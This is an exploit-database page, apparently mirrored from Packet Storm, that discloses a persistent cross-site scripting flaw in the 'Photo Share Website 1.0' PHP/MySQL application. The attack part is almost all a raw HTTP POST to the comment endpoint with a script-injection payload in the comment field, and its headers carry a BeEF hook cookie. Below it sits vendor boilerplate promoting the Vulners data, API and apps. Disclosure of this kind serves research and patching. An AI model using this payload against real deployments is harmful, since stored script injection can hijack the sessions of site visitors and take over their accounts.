Lucene search
K

Photo Share Website 1.0 Cross Site Scripting

🗓️ 02 Oct 2020 00:00:00Reported by AugkimType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 409 Views

Photo Share Website 1.0 Persistent Cross-Site Scripting vulnerability in PHP/MySQL based sit

Code
`# Exploit Title: Photo Share Website 1.0 - Persistent Cross-Site Scripting  
# Date: 2020-09-30  
# Exploit Author: Augkim  
# Vendor Homepage: https://www.sourcecodester.com/php/14478/photo-share-website-using-phpmysql-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/photo-share-website-using-php.zip  
# Tested on: Linux Apache2  
  
  
POST /soci/ajax.php?action=save_comment HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0)  
Gecko/20100101 Firefox/68.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 45  
DNT: 1  
Connection: close  
Referer: http://localhost/soci/index.php?page=home  
Cookie: mode=day; src=1;  
BEEFHOOK=0hqrkHLyTmW38TaPrDHRUW4LsDpXKDSSqAQf54dt0hIA0wFNpjkoJYFlnGhoKw2T4qQHIUZ5oESFGSVW;  
PHPSESSID=cq8j6ug2vem0obmno6fi0h9404; access=1  
Origin: foo.example.org  
  
PoC:  
post_id=4&comment="><script>alert(2)</script>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 00:00Current
7.4High risk
Vulners AI Score7.4
409